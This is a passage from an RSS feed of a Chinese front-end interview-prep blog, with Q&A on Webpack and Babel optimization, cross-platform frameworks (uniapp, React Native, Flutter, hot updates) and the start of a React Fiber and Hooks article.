  alias: { &apos;@&apos;: path.resolve(__dirname, &apos;src&apos;) }, // 路径别名
  modules: [path.resolve(__dirname, &apos;node_modules&apos;)], // 指定查找目录
}

// 6. 使用更快的工具
// terser-webpack-plugin（parallel: true）
// esbuild-loader（替代 babel-loader + terser）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q12: Webpack 产物体积优化？⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 1. Tree Shaking（已讲）
// 确保使用 ESM，配置 sideEffects

// 2. 代码分割（已讲）
// splitChunks + 动态导入

// 3. 压缩
optimization: {
  minimize: true,
  minimizer: [
    new TerserPlugin({
      parallel: true,
      terserOptions: {
        compress: { drop_console: true, drop_debugger: true }
      }
    }),
    new CssMinimizerPlugin(),
  ]
},

// 4. Gzip 压缩（配合 Nginx）
const CompressionPlugin = require(&apos;compression-webpack-plugin&apos;);
new CompressionPlugin({
  algorithm: &apos;gzip&apos;,
  test: /\.js$|\.css$|\.html$/,
  threshold: 10240, // 只压缩 &amp;gt; 10KB 的文件
})

// 5. 图片优化
const ImageMinimizerPlugin = require(&apos;image-minimizer-webpack-plugin&apos;);

// 6. 分析包体积
const { BundleAnalyzerPlugin } = require(&apos;webpack-bundle-analyzer&apos;);
new BundleAnalyzerPlugin() // 可视化分析

// 7. 按需引入组件库
// babel-plugin-import（Ant Design / Element UI）
{
  &quot;plugins&quot;: [[&quot;import&quot;, { &quot;libraryName&quot;: &quot;antd&quot;, &quot;style&quot;: &quot;css&quot; }]]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Babel&lt;/h2&gt;
&lt;h3&gt;Q13: Babel 的编译流程？⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;源代码 (JS/JSX/TS)
    ↓
解析 (Parse) → AST（抽象语法树）
    ↓
转换 (Transform) → 新 AST（插件处理）
    ↓
生成 (Generate) → 目标代码
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// babel.config.js
module.exports = {
  presets: [
    [&apos;@babel/preset-env&apos;, {
      targets: &apos;&amp;gt; 0.25%, not dead&apos;, // 目标浏览器
      useBuiltIns: &apos;usage&apos;,          // 按需引入 polyfill
      corejs: 3,                     // core-js 版本
      modules: false,                // 保留 ESM（Tree Shaking）
    }],
    &apos;@babel/preset-react&apos;,            // JSX 支持
    &apos;@babel/preset-typescript&apos;,       // TS 支持
  ],
  plugins: [
    &apos;@babel/plugin-transform-runtime&apos;, // 避免全局污染
    [&apos;@babel/plugin-proposal-decorators&apos;, { legacy: true }], // 装饰器
  ],
};
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;知识点&lt;/th&gt;
&lt;th&gt;关键记忆&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Loader&lt;/td&gt;
&lt;td&gt;文件转换器，从右到左执行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Plugin&lt;/td&gt;
&lt;td&gt;生命周期扩展，监听 Compiler hooks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tree Shaking&lt;/td&gt;
&lt;td&gt;基于 ESM 静态分析，移除未使用代码&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;splitChunks&lt;/td&gt;
&lt;td&gt;代码分割，提取公共代码和第三方库&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HMR&lt;/td&gt;
&lt;td&gt;WebSocket 通知 + 模块替换&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vite 快的原因&lt;/td&gt;
&lt;td&gt;无需打包，原生 ESM + esbuild 预构建&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;contenthash&lt;/td&gt;
&lt;td&gt;内容 hash，利用浏览器缓存&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;构建速度&lt;/td&gt;
&lt;td&gt;exclude、cache、多线程、resolve 优化&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/interview-guide-08-network-http/&quot;&gt;网络与 HTTP 面试题&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;涵盖 TCP/IP、HTTP/2、HTTPS、缓存策略、跨域解决方案等核心知识点。&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>跨端框架面试题（uniapp / React Native / Flutter）</title><link>http://117.72.32.87/blog/posts/interview-guide-06-cross-platform/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/interview-guide-06-cross-platform/</guid><description>深入讲解 uniapp、React Native、Flutter 等跨端方案的原理、架构、性能对比与选型策略。</description><pubDate>Wed, 16 Sep 2026 02:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文包含 20+ 道跨端框架面试题，难度标注：⭐ 基础 · ⭐⭐ 进阶 · ⭐⭐⭐ 高级 · 🔥 高频必考&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;跨端方案概览&lt;/h2&gt;
&lt;h3&gt;Q1: 主流跨端方案有哪些？各自原理是什么？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;方案&lt;/th&gt;
&lt;th&gt;技术栈&lt;/th&gt;
&lt;th&gt;渲染方式&lt;/th&gt;
&lt;th&gt;性能&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;React Native&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;JS + React&lt;/td&gt;
&lt;td&gt;原生组件（Bridge/JSI）&lt;/td&gt;
&lt;td&gt;接近原生&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Flutter&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Dart&lt;/td&gt;
&lt;td&gt;自绘引擎（Skia）&lt;/td&gt;
&lt;td&gt;最接近原生&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;uniapp&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Vue&lt;/td&gt;
&lt;td&gt;WebView / 原生（条件编译）&lt;/td&gt;
&lt;td&gt;中等&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Taro&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;React/Vue&lt;/td&gt;
&lt;td&gt;小程序 / H5&lt;/td&gt;
&lt;td&gt;中等&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Ionic&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;JS + WebView&lt;/td&gt;
&lt;td&gt;WebView&lt;/td&gt;
&lt;td&gt;一般&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Weex&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Vue&lt;/td&gt;
&lt;td&gt;原生组件&lt;/td&gt;
&lt;td&gt;接近原生（已停维）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;渲染架构对比：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;React Native（新架构）
JS 线程 ←→ JSI (C++) ←→ 原生 UI 组件

Flutter
Dart 代码 → Skia 引擎 → GPU 直接绘制（不依赖原生组件）

uniapp（App 端）
Vue 代码 → WebView / 原生混合渲染
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q2: React Native 的通信机制？⭐⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;旧架构（Bridge）：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;JS Thread ←→ Bridge (异步 JSON 序列化) ←→ Native Thread
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;缺点：异步通信、序列化开销大、批量更新&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;新架构（JSI + TurboModules + Fabric）：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;JS Thread ←→ JSI (C++ 直接引用) ←→ Native
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;JSI：JavaScript Interface，JS 可以直接调用 C++ 方法&lt;/li&gt;
&lt;li&gt;TurboModules：按需加载原生模块，懒加载&lt;/li&gt;
&lt;li&gt;Fabric：新渲染系统，支持同步布局&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;// JSI 使用示例（C++ HostObject）
// JS 侧直接调用原生方法，无需 Bridge 序列化
global.nativeModule.doSomething(arg);
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;uniapp&lt;/h2&gt;
&lt;h3&gt;Q3: uniapp 的跨端原理？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;uniapp 使用 &lt;strong&gt;条件编译&lt;/strong&gt; + &lt;strong&gt;运行时适配&lt;/strong&gt; 实现跨端：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 条件编译
// #ifdef APP-PLUS
// App 端特有代码
uni.scanCode({ success: (res) =&amp;gt; {} });
// #endif

// #ifdef H5
// H5 端特有代码
window.scrollTo(0, 0);
// #endif

// #ifdef MP-WEIXIN
// 微信小程序特有代码
wx.login({});
// #endif
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;各端渲染方式：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;平台&lt;/th&gt;
&lt;th&gt;渲染方式&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;H5&lt;/td&gt;
&lt;td&gt;Vue → DOM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;小程序&lt;/td&gt;
&lt;td&gt;Vue → 小程序 DSL → 原生渲染&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;App (iOS/Android)&lt;/td&gt;
&lt;td&gt;WebView + 原生组件混合&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;App (nvue)&lt;/td&gt;
&lt;td&gt;Weex → 原生组件&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Q4: uniapp 的生命周期？⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// uniapp 有两套生命周期

// 1. 应用生命周期（App.vue）
export default {
  onLaunch(options) {},    // 应用初始化（全局只触发一次）
  onShow(options) {},      // 应用进入前台
  onHide() {},             // 应用进入后台
  onError(err) {},         // 应用报错
  onPageNotFound() {},     // 页面不存在
};

// 2. 页面生命周期（页面 .vue）
export default {
  // Vue 生命周期
  beforeCreate() {},
  created() {},
  mounted() {},
  
  // uniapp 页面生命周期
  onLoad(options) {},      // 页面加载（可获取路由参数）
  onShow() {},             // 页面显示
  onReady() {},            // 页面初次渲染完成
  onHide() {},             // 页面隐藏
  onUnload() {},           // 页面卸载
  onPullDownRefresh() {},  // 下拉刷新
  onReachBottom() {},      // 触底加载
  onShareAppMessage() {}, // 分享
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q5: uniapp 路由和传参？⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 页面跳转
uni.navigateTo({ url: &apos;/pages/detail?id=123&apos; });
uni.redirectTo({ url: &apos;/pages/detail&apos; });   // 关闭当前页
uni.switchTab({ url: &apos;/pages/home&apos; });       // 跳转 tabBar
uni.navigateBack({ delta: 1 });              // 返回
uni.reLaunch({ url: &apos;/pages/login&apos; });       // 重启应用

// 接收参数
export default {
  onLoad(options) {
    console.log(options.id); // &apos;123&apos;
  }
};

// 复杂参数（序列化）
const data = encodeURIComponent(JSON.stringify({ a: 1, b: 2 }));
uni.navigateTo({ url: `/pages/detail?data=${data}` });

// 接收
onLoad(options) {
  const data = JSON.parse(decodeURIComponent(options.data));
}

// EventChannel（页面间通信）
uni.navigateTo({
  url: &apos;/pages/detail&apos;,
  success: (res) =&amp;gt; {
    res.eventChannel.emit(&apos;acceptData&apos;, { data: &apos;from prev page&apos; });
  }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;React Native&lt;/h2&gt;
&lt;h3&gt;Q6: React Native 常用组件和 API？⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 核心组件
import {
  View,           // div
  Text,           // span / p
  Image,          // img
  ScrollView,     // 滚动容器
  FlatList,       // 高性能列表
  SectionList,    // 分组列表
  TouchableOpacity, // 可点击容器
  TextInput,      // input
  Modal,          // 弹窗
  SafeAreaView,   // 安全区域
  StatusBar,      // 状态栏
} from &apos;react-native&apos;;

// FlatList（长列表必备）
&amp;lt;FlatList
  data={items}
  keyExtractor={(item) =&amp;gt; item.id}
  renderItem={({ item }) =&amp;gt; &amp;lt;ItemCard item={item} /&amp;gt;}
  // 性能优化
  getItemLayout={(data, index) =&amp;gt; ({
    length: ITEM_HEIGHT, offset: ITEM_HEIGHT * index, index
  })}
  initialNumToRender={10}
  maxToRenderPerBatch={10}
  windowSize={10}
  removeClippedSubviews={true}
/&amp;gt;

// 样式
const styles = StyleSheet.create({
  container: {
    flex: 1,
    justifyContent: &apos;center&apos;,
    alignItems: &apos;center&apos;,
    backgroundColor: &apos;#F5FCFF&apos;,
  },
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q7: React Native 性能优化？⭐⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 1. 使用 FlatList 而非 ScrollView（长列表）
// FlatList 有窗口化渲染，只渲染可见区域

// 2. 避免不必要的重渲染
const Item = React.memo(({ item }) =&amp;gt; (
  &amp;lt;View&amp;gt;&amp;lt;Text&amp;gt;{item.name}&amp;lt;/Text&amp;gt;&amp;lt;/View&amp;gt;
));

// 3. 图片优化
import FastImage from &apos;react-native-fast-image&apos;;
&amp;lt;FastImage
  source={{ uri: imageUrl, priority: FastImage.priority.high }}
  style={{ width: 200, height: 200 }}
  resizeMode={FastImage.resizeMode.cover}
/&amp;gt;

// 4. 减少 Bridge 通信（旧架构）
// 批量操作，避免频繁调用原生方法

// 5. 动画使用 useNativeDriver
Animated.timing(animatedValue, {
  toValue: 1,
  duration: 300,
  useNativeDriver: true, // 在原生线程执行
}).start();

// 6. InteractionManager（延迟非关键任务）
InteractionManager.runAfterInteractions(() =&amp;gt; {
  // 在动画/交互结束后执行
  loadHeavyData();
});

// 7. Hermes 引擎
// 启用 Hermes 可以显著减少启动时间和内存占用
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Flutter&lt;/h2&gt;
&lt;h3&gt;Q8: Flutter 的架构和渲染原理？⭐⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Flutter 三层架构：

┌─────────────────────────────────┐
│      Framework (Dart)           │
│  Material/Cupertino/Widgets     │
├─────────────────────────────────┤
│      Engine (C++)               │
│  Skia 绘图 / Dart VM / Text     │
├─────────────────────────────────┤
│      Embedder (平台层)           │
│  iOS / Android / Web / Desktop  │
└─────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;渲染流程：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Widget (描述 UI) → Element (管理生命周期) → RenderObject (布局绘制)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// Widget 是不可变的描述
class MyWidget extends StatelessWidget {
  @override
  Widget build(BuildContext context) {
    return Container(
      padding: EdgeInsets.all(16),
      child: Text(&apos;Hello Flutter&apos;),
    );
  }
}

// StatefulWidget 管理状态
class CounterWidget extends StatefulWidget {
  @override
  _CounterState createState() =&amp;gt; _CounterState();
}

class _CounterState extends State&amp;lt;CounterWidget&amp;gt; {
  int _count = 0;
  
  void _increment() {
    setState(() =&amp;gt; _count++); // 触发重建
  }
  
  @override
  Widget build(BuildContext context) {
    return Column(
      children: [
        Text(&apos;Count: $_count&apos;),
        ElevatedButton(
          onPressed: _increment,
          child: Text(&apos;Increment&apos;),
        ),
      ],
    );
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;跨端方案对比与选型&lt;/h2&gt;
&lt;h3&gt;Q9: 跨端方案如何选型？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;维度&lt;/th&gt;
&lt;th&gt;uniapp&lt;/th&gt;
&lt;th&gt;React Native&lt;/th&gt;
&lt;th&gt;Flutter&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;学习成本&lt;/td&gt;
&lt;td&gt;低（Vue）&lt;/td&gt;
&lt;td&gt;中（React）&lt;/td&gt;
&lt;td&gt;高（Dart）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;性能&lt;/td&gt;
&lt;td&gt;中&lt;/td&gt;
&lt;td&gt;高&lt;/td&gt;
&lt;td&gt;最高&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;生态&lt;/td&gt;
&lt;td&gt;小程序优&lt;/td&gt;
&lt;td&gt;丰富&lt;/td&gt;
&lt;td&gt;快速增长&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;包体积&lt;/td&gt;
&lt;td&gt;小&lt;/td&gt;
&lt;td&gt;中&lt;/td&gt;
&lt;td&gt;大（~10MB）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;热更新&lt;/td&gt;
&lt;td&gt;支持&lt;/td&gt;
&lt;td&gt;支持&lt;/td&gt;
&lt;td&gt;受限&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;原生能力&lt;/td&gt;
&lt;td&gt;一般&lt;/td&gt;
&lt;td&gt;强&lt;/td&gt;
&lt;td&gt;强&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;适用场景&lt;/td&gt;
&lt;td&gt;多端统一（含小程序）&lt;/td&gt;
&lt;td&gt;重交互 App&lt;/td&gt;
&lt;td&gt;高性能 UI&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;选型建议：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;需要小程序 + App + H5&lt;/strong&gt;：选 uniapp / Taro&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;重交互、接近原生体验&lt;/strong&gt;：选 React Native&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;高性能 UI、设计一致性&lt;/strong&gt;：选 Flutter&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;团队技术栈是 React&lt;/strong&gt;：React Native&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;团队技术栈是 Vue&lt;/strong&gt;：uniapp&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Q10: 跨端方案的热更新原理？⭐⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;React Native 热更新：
1. 打包 JS Bundle（CodePush / 自建服务）
2. App 启动时检查版本
3. 下载新 Bundle 到本地
4. 重启加载新 Bundle

uniapp 热更新：
1. wgt 包（Widget 更新包）
2. 使用 plus.runtime.install 安装
3. 重启应用

Flutter 热更新（受限）：
1. Dart AOT 编译后无法直接热更新
2. 需要通过 Shorebird 等方案
3. 或者通过配置 + 服务端控制
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// RN CodePush 热更新示例
import codePush from &apos;react-native-code-push&apos;;

const codePushOptions = {
  checkFrequency: codePush.CheckFrequency.ON_APP_RESUME,
  installMode: codePush.InstallMode.ON_NEXT_RESTART,
};

function App() {
  useEffect(() =&amp;gt; {
    codePush.sync({
      updateDialog: true,
      installMode: codePush.InstallMode.IMMEDIATE,
    });
  }, []);
  
  return &amp;lt;MainApp /&amp;gt;;
}

export default codePush(codePushOptions)(App);
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;知识点&lt;/th&gt;
&lt;th&gt;关键记忆&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;RN 新架构&lt;/td&gt;
&lt;td&gt;JSI 替代 Bridge，同步通信&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Flutter 渲染&lt;/td&gt;
&lt;td&gt;Skia 自绘，不依赖原生组件&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;uniapp 跨端&lt;/td&gt;
&lt;td&gt;条件编译 + 运行时适配&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;FlatList&lt;/td&gt;
&lt;td&gt;RN 长列表必须用，窗口化渲染&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;useNativeDriver&lt;/td&gt;
&lt;td&gt;动画性能优化关键&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hermes&lt;/td&gt;
&lt;td&gt;RN 引擎，减少启动时间&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;热更新&lt;/td&gt;
&lt;td&gt;RN/uniapp 支持，Flutter 受限&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;选型&lt;/td&gt;
&lt;td&gt;多端选 uniapp，性能选 Flutter，生态选 RN&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/interview-guide-07-build-tools/&quot;&gt;前端构建工具面试题&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;涵盖 Webpack、Vite、Babel、Tree Shaking、HMR 等工程化核心知识点。&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>React 框架面试题（中高级）</title><link>http://117.72.32.87/blog/posts/interview-guide-05-react/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/interview-guide-05-react/</guid><description>深入讲解 React Fiber、Hooks、JSX、虚拟 DOM、状态管理、性能优化等高频面试题。</description><pubDate>Tue, 15 Sep 2026 07:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文包含 30+ 道 React 框架面试题，难度标注：⭐ 基础 · ⭐⭐ 进阶 · ⭐⭐⭐ 高级 · 🔥 高频必考&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;React 基础&lt;/h2&gt;
&lt;h3&gt;Q1: React 的核心思想是什么？⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;声明式编程&lt;/strong&gt;：UI = f(state)，状态驱动视图&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;组件化&lt;/strong&gt;：将 UI 拆分为独立、可复用的组件&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;单向数据流&lt;/strong&gt;：数据从父组件流向子组件&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;虚拟 DOM&lt;/strong&gt;：高效更新真实 DOM&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;跨平台&lt;/strong&gt;：React Native、React DOM、React Canvas&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;// 声明式
function Counter({ initialCount }) {
  const [count, setCount] = useState(initialCount);
  
  return (
    &amp;lt;button onClick={() =&amp;gt; setCount(count + 1)}&amp;gt;
      Count: {count}
    &amp;lt;/button&amp;gt;
  );
}

// 命令式（jQuery 风格）
$(&apos;#btn&apos;).click(function() {
  count++;
  $(&apos;#count&apos;).text(&apos;Count: &apos; + count);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q2: JSX 是什么？为什么要使用？⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;JSX 是 JavaScript 的语法扩展，允许在 JS 中编写 HTML 结构。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// JSX
const element = &amp;lt;h1 className=&quot;title&quot;&amp;gt;Hello, World!&amp;lt;/h1&amp;gt;;

// 编译后
const element = React.createElement(
  &apos;h1&apos;,
  { className: &apos;title&apos; },
  &apos;Hello, World!&apos;
);

// 最终生成虚拟 DOM 对象
{
  type: &apos;h1&apos;,
  props: {
    className: &apos;title&apos;,
    children: &apos;Hello, World!&apos;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;JSX 的优势：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;结构清晰，接近 HTML&lt;/li&gt;
&lt;li&gt;编译时检查，减少错误&lt;/li&gt;
&lt;li&gt;性能更好（编译优化）&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Fiber 架构&lt;/h2&gt;
&lt;h3&gt;Q3: 什么是 Fiber？为什么需要 Fiber？⭐⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Fiber 是 React 16 引入的新协调引擎，核心目标是&lt;strong&gt;增量渲染&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;问题背景：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;React 15 的 Stack Reconciler 是同步递归的&lt;/li&gt;
&lt;li&gt;大组件树更新时会阻塞主线程，导致掉帧&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Fiber 的解决方案：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;React 15 (Stack Reconciler)     React 16+ (Fiber)
┌─────────────────────┐        ┌─────────────────────┐
│    同步递归更新      │        │   可中断的异步更新   │
│    (不可中断)       │        │   (时间切片)        │
│                     │        │                     │
│   ██████████████    │        │   ███ ███ ███ ███   │
│   (长时间阻塞)      │        │   (分片执行)        │
└─────────────────────┘        └─────────────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Fiber 节点结构：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const fiber = {
  // 节点类型
  type: &apos;div&apos;,
  key: null,
  
  // 链表结构
  return: parentFiber,    // 父节点
  child: firstChildFiber, // 第一个子节点
  sibling: nextFiber,     // 下一个兄弟节点
  
  // 状态
  pendingProps: {},       // 新 props
  memoizedProps: {},      // 上次 props
  memoizedState: {},      // 上次 state
  
  // 副作用
  flags: 0,               // 副作用标记（增删改）
  subtreeFlags: 0,        // 子树的副作用
  
  // 优先级
  lane: 0,                // 更新优先级
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;时间切片原理：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 简化实现
function workLoop(deadline) {
  let shouldYield = false;
  
  while (nextUnitOfWork &amp;amp;&amp;amp; !shouldYield) {
    nextUnitOfWork = performUnitOfWork(nextUnitOfWork);
    shouldYield = deadline.timeRemaining() &amp;lt; 1; // 剩余时间不足 1ms
  }
  
  if (!nextUnitOfWork &amp;amp;&amp;amp; workInProgressRoot) {
    commitRoot(); // 提交阶段
  }
  
  requestIdleCallback(workLoop); // 继续调度
}

requestIdleCallback(workLoop);
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Hooks&lt;/h2&gt;
&lt;h3&gt;Q4: 常用 Hooks 有哪些？⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import {
